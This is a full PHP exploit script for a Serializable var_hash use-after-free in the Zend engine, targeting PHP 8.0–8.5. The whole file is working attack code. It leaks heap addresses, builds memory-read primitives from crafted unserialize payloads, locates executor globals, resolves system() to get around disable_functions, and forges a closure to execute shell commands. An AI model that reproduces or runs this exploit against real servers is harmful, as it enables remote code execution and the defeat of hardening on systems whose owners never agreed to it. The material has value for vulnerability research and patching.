#!/usr/bin/env php
<?php
/*
 * PHP Serializable shared-var_hash UAF → RCE.
 *
 * Bug: zend_user_unserialize() in Zend/zend_interfaces.c does not increment
 * BG(serialize_lock) before invoking a Serializable class's unserialize()
 * method. A recursive unserialize() call inside that body inherits the
 * outer var_hash; if the body then frees memory the inner parse registered
 * (e.g. by growing an inner stdClass's property table past nTableSize=8),
 * outer R:N back-references resolve to freed slots.
 *
 * Gadget: one statement.
 *
 *     unserialize($data)->x = 0;
 *
 * Inner payload: O:8:"stdClass":8:{...}. Eight inner properties fill the
 * property HT to nTableSize=8; the single ->x = 0 write is the 9th insert
 * and triggers the 8→16 resize, which efree's the original 288-byte arData
 * buffer. Var_hash slots 4..11 (the 8 property zvals) all point into it.
 *
 * Chain: heap leak → spray Closures → mega-string scan for zend_object gc
 * patterns → find function_table HT → resolve system() (via standard
 * module's static zend_function_entry[] when disable_functions blocks it)
 * → fake zend_closure → IS_OBJECT type confusion → RCE.
 *
 * Target: PHP 8.0–8.5 (NTS). Verified on x86_64 and aarch64.
 * Pointer-validity bounds and the EG-from-handlers scan range are
 * auto-tuned per architecture at startup.
 */

error_reporting(0);

class CachedData implements Serializable {
    public function serialize(): string { return ''; }
    public function unserialize(string $data): void {
        unserialize($data)->x = 0;
    }
}

$GLOBALS['_cl'] = function(){};

class Exploit {
    const SPRAY_LEN   = 280;
    const SPRAY_COUNT = 32;
    const NUM_PROPS   = 8;

    // Struct member offsets — stable across PHP 8.0–8.5 builds
    const OFF_OBJ_CE       = 0x10;
    const OFF_OBJ_HANDLERS = 0x18;
    const OFF_CLOSURE_FUNC = 0x38;
    const OFF_HANDLER      = 0x58;   // zend_internal_function.handler
    const OFF_HT_MASK      = 0x0C;
    const OFF_HT_ARDATA    = 0x10;

    // Bucket layout (32 bytes)
    const BUCKET_SIZE = 32;
    const BUCKET_VAL  = 0;
    const BUCKET_H    = 16;
    const BUCKET_KEY  = 24;

    const OFF_INTFUNC_MODULE = 0x60;
    const OFF_MODULE_FUNCS   = 0x28;
    const FUNC_ENTRY_SIZE    = 0x30;

    private $ADDR_MAX;   // user-space pointer upper bound
    private $DELTA_MAX;  // EG-from-closure_handlers scan range

    public function __construct() {
        $arch = php_uname('m');
        if ($arch === 'aarch64' || $arch === 'arm64') {
            // 48-bit user; PIE binaries map in the 0xaaaa.. range, EG..closure_handlers ~0x340
            $this->ADDR_MAX  = 0xFFFFFFFFFFFF;
            $this->DELTA_MAX = 0x600;
        } else {
            // x86_64 / others: 47-bit canonical user; EG..closure_handlers typically <0x300
            $this->ADDR_MAX  = 0x7FFFFFFFFFFF;
            $this->DELTA_MAX = 0x300;
        }
    }

    // ─── Spray builders ───

    private function build_inner() {
        // 8-property stdClass: HT created at nTableSize=8, full to capacity.
        // The gadget body's single ->x = 0 write is the 9th insert and triggers
        // the resize. Slot 3 = stdClass, slots 4..11 = property zvals.
        $props = '';
        for ($k = 0; $k < self::NUM_PROPS; $k++) {
            $pname = "p$k";
            $props .= 's:' . strlen($pname) . ':"' . $pname . '";i:' . (0xAAAA0000 + $k) . ';';
        }
        return 'O:8:"stdClass":' . self::NUM_PROPS . ':{' . $props . '}';
    }

    private function build_spray_islong($marker = 0xBBBB0000) {
        $s = str_repeat("\x00", self::SPRAY_LEN);
        for ($k = 0; $k < 8; $k++) {
            $vo = 8 + $k * 32; $to = $vo + 8;
            if ($to + 4 > self::SPRAY_LEN) break;
            $m = $marker + $k;
            $s[$vo]=chr($m&0xFF); $s[$vo+1]=chr(($m>>8)&0xFF);
            $s[$vo+2]=chr(($m>>16)&0xFF); $s[$vo+3]=chr(($m>>24)&0xFF);
            $s[$vo+4]=$s[$vo+5]=$s[$vo+6]=$s[$vo+7]="\x00";
            $s[$to]="\x04"; $s[$to+1]=$s[$to+2]=$s[$to+3]="\x00";
        }
        return $s;
    }

    private function build_spray_isstring($target_addr) {
        $s = str_repeat("\x00", self::SPRAY_LEN);
        $vo = 8 + 1 * 32;
        $ab = pack('P', $target_addr);
        for ($i = 0; $i < 8; $i++) $s[$vo + $i] = $ab[$i];
        $to = $vo + 8;
        $s[$to] = "\x06"; $s[$to+1] = $s[$to+2] = $s[$to+3] = "\x00";
        for ($k = 0; $k < 8; $k++) {
            if ($k == 1) continue;
            $vo2 = 8 + $k * 32; $to2 = $vo2 + 8;
            if ($to2 + 4 > self::SPRAY_LEN) break;
            $s[$to2] = "\x04"; $s[$to2+1] = $s[$to2+2] = $s[$to2+3] = "\x00";
        }
        return $s;
    }

    private function build_spray_isobject($obj_addr) {
        $s = str_repeat("\x00", self::SPRAY_LEN);
        $vo = 8 + 1 * 32;
        $ab = pack('P', $obj_addr);
        for ($i = 0; $i < 8; $i++) $s[$vo + $i] = $ab[$i];
        $to = $vo + 8;
        $s[$to] = "\x08"; $s[$to+1] = "\x03"; $s[$to+2] = $s[$to+3] = "\x00";
        for ($k = 0; $k < 8; $k++) {
            if ($k == 1) continue;
            $vo2 = 8 + $k * 32; $to2 = $vo2 + 8;
            if ($to2 + 4 > self::SPRAY_LEN) break;
            $s[$to2] = "\x04"; $s[$to2+1] = $s[$to2+2] = $s[$to2+3] = "\x00";
        }
        return $s;
    }

    private function build_payload($spray, $num_refs = 1) {
        $inner = $this->build_inner();
        $c_part = 'C:10:"CachedData":' . strlen($inner) . ':{' . $inner . '}';
        $total = 1 + self::SPRAY_COUNT + $num_refs;
        $parts = ['i:0;' . $c_part];
        for ($i = 0; $i < self::SPRAY_COUNT; $i++) {
            $parts[] = 'i:' . ($i + 1) . ';s:' . self::SPRAY_LEN . ':"' . $spray . '";';
        }
        for ($k = 0; $k < $num_refs; $k++) {
            // R:4..R:11 = the 8 property zvals of the inner stdClass
            $parts[] = 'i:' . (self::SPRAY_COUNT + 1 + $k) . ';R:' . (4 + $k) . ';';
        }
        return 'a:' . $total . ':{' . implode('', $parts) . '}';
    }

    // ─── UAF read primitives ───

    private function uaf_read($addr, $n = 8) {
        foreach ([0, 0x08, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200] as $bias) {
            $target = $addr - 0x18 - $bias;
            if ($target < 0x1000) continue;
            $spray = $this->build_spray_isstring($target);
            $payload = $this->build_payload($spray, 1);
            $result = @unserialize($payload);
            if ($result === false) continue;
            $str = $result[self::SPRAY_COUNT + 1];
            if (!is_string($str)) continue;
            $slen = strlen($str);
            if ($slen >= 0 && $slen <= $bias + $n - 1) continue;
            $out = substr($str, $bias, $n);
            if (strlen($out) >= $n) return $out;
        }
        return false;
    }

    private function read8($addr) {
        $d = $this->uaf_read($addr, 8);
        if ($d === false || strlen($d) < 8) return false;
        return unpack('P', $d)[1];
    }

    private function read8_retry($addr, $attempts = 3) {
        for ($i = 0; $i < $attempts; $i++) {
            $v = $this->read8($addr);
            if ($v !== false) return $v;
        }
        return false;
    }

    // ─── DJBX33A hash (same as Zend) ───

    private function zend_hash_func($key) {
        $h = 5381;
        for ($i = 0; $i < strlen($key); $i++)
            $h = (($h << 5) + $h) + ord($key[$i]);
        return $h | (1 << 63);
    }

    private function ht_find($ht_addr, $key) {
        $arData = $this->read8_retry($ht_addr + self::OFF_HT_ARDATA);
        if ($arData === false) return false;
        $d = $this->uaf_read($ht_addr + self::OFF_HT_MASK, 4);
        if ($d === false) return false;
        $nTableMask = unpack('V', $d)[1];
        return $this->ht_find_raw($arData, $nTableMask, $key);
    }

    private function ht_find_raw($arData, $nTableMask, $key) {
        $h = $this->zend_hash_func($key);
        $nIndex = (($h & 0xFFFFFFFF) | $nTableMask) & 0xFFFFFFFF;
        if ($nIndex >= 0x80000000) $nIndex -= 0x100000000;

        $slot_addr = $arData + $nIndex * 4;
        $d = $this->uaf_read($slot_addr, 4);
        if ($d === false) return false;
        $idx = unpack('V', $d)[1];
        if ($idx === 0xFFFFFFFF) return false;

        $klen = strlen($key);
        for ($chain = 0; $chain < 16; $chain++) {
            $bucket_addr = $arData + $idx * self::BUCKET_SIZE;
            $bucket = $this->uaf_read($bucket_addr, self::BUCKET_SIZE);
            if ($bucket === false) return false;
            $key_ptr = unpack('P', substr($bucket, self::BUCKET_KEY, 8))[1];
            if ($key_ptr != 0) {
                $kd = $this->uaf_read($key_ptr + 16, 8 + $klen);
                if ($kd !== false) {
                    $slen = unpack('P', substr($kd, 0, 8))[1];
                    if ($slen == $klen && substr($kd, 8, $klen) === $key) {
                        return $bucket;
                    }
                }
            }
            $next = unpack('V', substr($bucket, 12, 4))[1];
            if ($next === 0xFFFFFFFF) return false;
            $idx = $next;
        }
        return false;
    }

    // ─── Phase 1: Heap address leak ───

    private function heap_leak() {
        $spray = $this->build_spray_islong();
        $original = $spray;
        $payload = $this->build_payload($spray, self::NUM_PROPS);
        $result = @unserialize($payload);
        if ($result === false) die("[-] heap_leak: unserialize failed\n");

        for ($i = 1; $i <= self::SPRAY_COUNT; $i++) {
            $s = $result[$i];
            for ($k = 0; $k < self::NUM_PROPS; $k++) {
                $vo = 8 + ($k + 1) * 32;
                if (substr($s, $vo, 8) !== substr($original, $vo, 8)) {
                    return unpack('P', substr($s, $vo, 8))[1];
                }
            }
        }
        die("[-] heap_leak: no spray modification detected\n");
    }

    // ─── Phase 2: Find object pointers (ce, handlers) from heap objects ───

    private function find_object_pointers($heap_addr) {
        $chunk = $heap_addr & 0xFFFFFFFFFFE00000;

        for ($i = 0; $i < 256; $i++) {
            $GLOBALS["_spray_$i"] = function(){};
        }

        for ($attempt = 0; $attempt < 3; $attempt++) {
            $target = $chunk - 0x10;
            $spray = $this->build_spray_isstring($target);
            $payload = $this->build_payload($spray, 1);
            $result = @unserialize($payload);
            if ($result === false) continue;
            $str = $result[self::SPRAY_COUNT + 1];
            if (!is_string($str)) continue;
            $slen = strlen($str);
            if ($slen < 0x10000) continue;

            $max_off = min($slen, 0x200000 - 0x08);

            $pairs = [];
            for ($off = 8; $off + 32 <= $max_off; $off += 16) {
                $rc = unpack('V', substr($str, $off, 4))[1];
                if ($rc < 1 || $rc > 50) continue;
                $ti = ord($str[$off + 4]) & 0x0F;
                if ($ti != 8) continue;
                $handle = unpack('V', substr($str, $off + 8, 4))[1];
                if ($handle == 0 || $handle > 100000) continue;
                $pad = unpack('V', substr($str, $off + 12, 4))[1];
                if ($pad != 0) continue;
                $ce = unpack('P', substr($str, $off + 16, 8))[1];
                $handlers = unpack('P', substr($str, $off + 24, 8))[1];
                if ($ce == 0 || $handlers == 0) continue;
                if (($handlers & (~0x1FFFFF)) == $chunk) continue;
                if ($handlers < 0x10000 || $handlers > $this->ADDR_MAX) continue;
                $key = sprintf("%x", $handlers);
                if (!isset($pairs[$key])) $pairs[$key] = ['ce' => $ce, 'handlers' => $handlers, 'count' => 0];
                $pairs[$key]['count']++;
            }

            if (empty($pairs)) continue;

            usort($pairs, fn($a, $b) => $b['count'] <=> $a['count']);
            $best = $pairs[0];
            printf("[+] Found %d object groups, best: count=%d ce=0x%x handlers=0x%x\n",
                count($pairs), $best['count'], $best['ce'], $best['handlers']);
            return [$best['ce'], $best['handlers']];
        }
        return false;
    }

    // ─── Phase 3a: Find EG and function_table near handlers in .bss ───

    private function find_function_table_ht($handlers, $heap_addr) {
        for ($delta = 0x20; $delta < $this->DELTA_MAX; $delta += 8) {
            foreach ([0x1b0, 0x1c8] as $ft_off) {
                $ptr_addr = $handlers + $delta + $ft_off;
                $d = $this->uaf_read($ptr_addr, 24);
                if ($d === false) continue;

                $ft_ptr = unpack('P', substr($d, 0, 8))[1];
                $ct_ptr = unpack('P', substr($d, 8, 8))[1];
                $zc_ptr = unpack('P', substr($d, 16, 8))[1];

                if ($ft_ptr < 0x10000 || $ft_ptr > $this->ADDR_MAX) continue;
                if ($ct_ptr < 0x10000 || $ct_ptr > $this->ADDR_MAX) continue;
                if ($zc_ptr < 0x10000 || $zc_ptr > $this->ADDR_MAX) continue;
                if (abs($ft_ptr - $ct_ptr) > 0x1000000) continue;
                if (abs($ct_ptr - $zc_ptr) > 0x1000000) continue;

                $htd = $this->uaf_read($ft_ptr + self::OFF_HT_MASK, 16);
                if ($htd === false) continue;

                $nTableMask = unpack('V', substr($htd, 0, 4))[1];
                $arData = unpack('P', substr($htd, 4, 8))[1];
                $nNumUsed = unpack('V', substr($htd, 12, 4))[1];

                $pos = (~$nTableMask + 1) & 0xFFFFFFFF;
                if ($pos < 64 || ($pos & ($pos - 1)) != 0) continue;
                if ($arData < 0x10000 || $arData > $this->ADDR_MAX) continue;
                if ($nNumUsed < 100 || $nNumUsed > 10000) continue;

                printf("[+] function_table @ 0x%x (nNumUsed=%d, delta=0x%x, ft_off=+0x%x)\n",
                    $ft_ptr, $nNumUsed, $delta, $ft_off);
                return ['ht' => $ft_ptr, 'arData' => $arData, 'nTableMask' => $nTableMask,
                        'delta' => $delta, 'ft_off' => $ft_off];
            }
        }
        return false;
    }

    // ─── Phase 3b: Find symbol_table (embedded in EG) ───

    private function find_symbol_table($handlers, $combined, $heap_addr) {
        foreach ([0x1b0, 0x1c8] as $ft_off) {
            $delta = $combined - $ft_off;
            if ($delta < 0) continue;
            $eg = $handlers + $delta;
            $st = $eg + 0x130;

            $d = $this->uaf_read($st + self::OFF_HT_MASK, 16);
            if ($d === false) continue;

            $st_mask = unpack('V', substr($d, 0, 4))[1];
            $st_ardata = unpack('P', substr($d, 4, 8))[1];
            $st_nused = unpack('V', substr($d, 12, 4))[1];

            $m32 = $st_mask & 0xFFFFFFFF;
            if ($m32 < 0xFFFF0000) continue;
            $pos = (~$m32 + 1) & 0xFFFFFFFF;
            if (($pos & ($pos - 1)) !== 0 || $pos < 4) continue;
            if ($st_ardata < 0x10000) continue;
            if ($st_nused > 500) continue;

            printf("[+] EG @ 0x%x (ft_off=+0x%x), symbol_table @ 0x%x (nNumUsed=%d)\n",
                $eg, $ft_off, $st, $st_nused);
            return $st;
        }
        return false;
    }

    private function read_str($addr, $maxlen = 32) {
        $d = $this->uaf_read($addr, $maxlen);
        if ($d === false) return false;
        $s = '';
        for ($i = 0; $i < strlen($d); $i++) {
            $c = ord($d[$i]);
            if ($c == 0) break;
            if ($c >= 0x20 && $c <= 0x7e) $s .= chr($c);
            else return false;
        }
        return $s;
    }

    // ─── Phase 4: Bypass disable_functions, find zif_system handler ───

    private function find_system($arData, $nTableMask, $closure_handlers) {
        $disabled = ini_get('disable_functions');
        $is_disabled = (stripos($disabled, 'system') !== false);

        if (!$is_disabled) {
            $bucket = $this->ht_find_raw($arData, $nTableMask, "system");
            if ($bucket !== false) {
                $func_ptr = unpack('P', substr($bucket, 0, 8))[1];
                $handler = $this->read8_retry($func_ptr + self::OFF_HANDLER);
                if ($handler !== false) {
                    printf("[+] zif_system @ 0x%x\n", $handler);
                    return ['handler' => $handler, 'mode' => 'closure'];
                }
            }
        }

        printf("[!] system() is in disable_functions: %s\n", $disabled ?: '(none)');
        echo "[*] Bypassing: resolving zif_system from module function entry table...\n";

        $handler = $this->find_system_via_module($arData, $nTableMask);
        if ($handler === false)
            die("[-] Cannot find zif_system in module function entries\n");

        printf("[+] zif_system (from module) @ 0x%x\n", $handler);
        return ['handler' => $handler, 'mode' => 'closure'];
    }

    private function find_system_via_module($arData, $nTableMask) {
        $probe_funcs = ['var_dump', 'array_push', 'phpversion', 'getenv', 'strtolower'];
        $mod_ptr = false;

        foreach ($probe_funcs as $fname) {
            $bucket = $this->ht_find_raw($arData, $nTableMask, $fname);
            if ($bucket === false) continue;
            $func_ptr = unpack('P', substr($bucket, 0, 8))[1];
            $candidate = $this->read8_retry($func_ptr + self::OFF_INTFUNC_MODULE);
            if ($candidate === false || $candidate < 0x10000 || $candidate > $this->ADDR_MAX) continue;

            $name_ptr = $this->read8_retry($candidate + 0x20);
            if ($name_ptr === false) continue;
            $name = $this->read_str($name_ptr, 16);
            if ($name === 'standard') {
                $mod_ptr = $candidate;
                printf("[+] standard module @ 0x%x (via %s)\n", $mod_ptr, $fname);
                break;
            }
        }

        if ($mod_ptr === false) return false;

        $funcs = $this->read8_retry($mod_ptr + self::OFF_MODULE_FUNCS);
        if ($funcs === false) return false;
        printf("[+] module functions @ 0x%x\n", $funcs);

        for ($j = 0; $j < 600; $j++) {
            $entry = $funcs + $j * self::FUNC_ENTRY_SIZE;
            $fname_ptr = $this->read8_retry($entry);
            if ($fname_ptr === false || $fname_ptr == 0) break;
            $fname = $this->read_str($fname_ptr, 16);
            if ($fname === 'system')
                return $this->read8_retry($entry + 0x08);
        }
        return false;
    }

    // ─── Build fake zend_closure ───

    private function build_fake_closure($ce, $handlers, $system_handler) {
        $b = str_repeat("\x00", 512);
        $w = function(&$buf, $off, $data) {
            for ($i = 0; $i < strlen($data); $i++) $buf[$off + $i] = $data[$i];
        };

        $w($b, 0x00, pack('V', 0x7FFFFFFF));
        $w($b, 0x04, pack('V', 0x18));
        $w($b, self::OFF_OBJ_CE, pack('P', $ce));
        $w($b, self::OFF_OBJ_HANDLERS, pack('P', $handlers));
        $w($b, self::OFF_CLOSURE_FUNC, chr(1));
        $w($b, 0x58, pack('V', 1));
        $w($b, 0x5C, pack('V', 1));
        $w($b, self::OFF_CLOSURE_FUNC + self::OFF_HANDLER, pack('P', $system_handler));

        return $b;
    }

    private function find_var_string_addr($st_addr, $name) {
        $bucket = $this->ht_find($st_addr, $name);
        if ($bucket === false) return false;

        $type = ord($bucket[8]);
        $val  = unpack('P', substr($bucket, 0, 8))[1];

        if ($type == 6) return $val;
        if ($type == 10) {
            $inner = $this->uaf_read($val + 8, 16);
            if ($inner === false) return false;
            if (ord($inner[8]) == 6) return unpack('P', substr($inner, 0, 8))[1];
        }
        return false;
    }

    public function run() {
        $cmd = "id && uname -a";
        echo "=== PHP Serializable var_hash UAF → RCE ===\n";
        printf("    Arch: %s    ADDR_MAX=0x%x    DELTA_MAX=0x%x\n\n",
            php_uname('m'), $this->ADDR_MAX, $this->DELTA_MAX);

        echo "[*] Phase 1: Heap address leak via R: write-through...\n";
        $heap_addr = $this->heap_leak();
        printf("[+] zend_reference @ 0x%x\n", $heap_addr);

        echo "\n[*] Phase 3: Finding object pointers (ce, handlers) in heap...\n";
        $ptrs = $this->find_object_pointers($heap_addr);
        if ($ptrs === false) die("[-] Cannot find object pointers\n");
        [$ce_closure, $closure_handlers] = $ptrs;

        echo "\n[*] Phase 4: Locating executor globals...\n";
        $ft = $this->find_function_table_ht($closure_handlers, $heap_addr);
        if ($ft === false) die("[-] Cannot find function_table HT\n");
        $combined = $ft['delta'] + $ft['ft_off'];
        $st_addr = $this->find_symbol_table($closure_handlers, $combined, $heap_addr);
        if ($st_addr === false) die("[-] Cannot find symbol_table\n");

        echo "\n[*] Phase 5: Bypassing disable_functions...\n";
        $sys = $this->find_system($ft['arData'], $ft['nTableMask'], $closure_handlers);

        echo "\n[*] Phase 6: Building the fake closure...\n";
        $fc = $this->build_fake_closure($ce_closure, $closure_handlers, $sys['handler']);
        $GLOBALS["_xfc"] = $fc;

        echo "\n[*] Phase 7: Locating the fake closure via EG.symbol_table...\n";
        $str_ptr = $this->find_var_string_addr($st_addr, "_xfc");
        if ($str_ptr === false) die("[-] Cannot find _xfc\n");
        $obj_addr = $str_ptr + 24;
        printf("[+] Fake closure @ 0x%x\n", $obj_addr);

        echo "\n[*] Phase 8: Type confusion and RCE...\n";
        $spray = $this->build_spray_isobject($obj_addr);
        $payload = $this->build_payload($spray, 1);
        $result = @unserialize($payload);
        if ($result === false) die("[-] unserialize failed\n");

        $idx = self::SPRAY_COUNT + 1;
        if (!is_object($result[$idx]))
            die("[-] Expected object, got " . gettype($result[$idx]) . "\n");

        echo "[+] Got fake Closure!\n\n";
        echo str_repeat("\xe2\x94\x80", 50) . "\n";
        $result[$idx]($cmd);
        echo "\n" . str_repeat("\xe2\x94\x80", 50) . "\n";
        echo "\n[+] Exploit complete.\n";
    }
}

(new Exploit)->run();